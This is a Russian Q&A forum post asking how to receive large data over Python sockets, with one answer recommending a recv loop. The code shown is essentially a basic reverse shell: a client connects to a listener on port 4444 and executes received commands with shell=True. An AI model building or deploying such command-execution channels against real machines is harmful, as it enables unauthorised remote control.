@angernicky

Как отправлять большие данные через Socket на python?

Здравствуйте. Пишу скрипт сервера который, принимает данные от клиента и возникла такая проблема, что когда клиент передает большой обьем данных, превышающий размер буфера=1024 то сервер получает не все сообщение, а только его малую часть.
Порывшись в интернете, кроме старой информации со старым питоном ничего не обнаружил стоящего, что помогло бы мне разобраться. Прошу пожалуйста объясните, что мне нужно сделать, чтобы решить эту проблему? Какие есть способы реализации данной проблемы, какой способ лучше использовать? Надеюсь поможете.

Вот код сервера:
import socket, sys

ip = '127.0.0.1'
port = 4444

def listening(ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print('Жду соединения')
    connection, address = listener.accept()
    print(f'Получил соединение от {str(address)}')
    
    run(connection)

def recv_msg(connection):
    data = connection.recv(1024)
    return data

def run(connection):
    command = input('> ')
    connection.send(command.encode())

    result = recv_msg(connection)

    print(result)

listening(ip, port)


Вот код клиента:
import socket, subprocess

def connecting(ip, port):
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
run(connection)

def executable_command(command):
result = subprocess.check_output(command, shell=True)
return result

def run(connection):
command = connection.recv(1024).decode()

result = executable_command(command)

connection.send(result)

connecting('127.0.0.1', 4444)
  • Вопрос задан
  • 81 просмотр
Решения вопроса 1
@bacon
Окей, гугл "python socket send big data". Не знаю в каком вы интернете рылись, но инфы очень много и она акутальна.
У вас просто один раз recv(1024), т.е. вы ожидаете 1024 байт и всё. Тогда как надо это делать внутри цикла, обычно это while.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
от 150 000 до 200 000 ₽
OnederX Москва
от 100 000 до 120 000 ₽
Кенарий Санкт-Петербург
от 120 000 до 250 000 ₽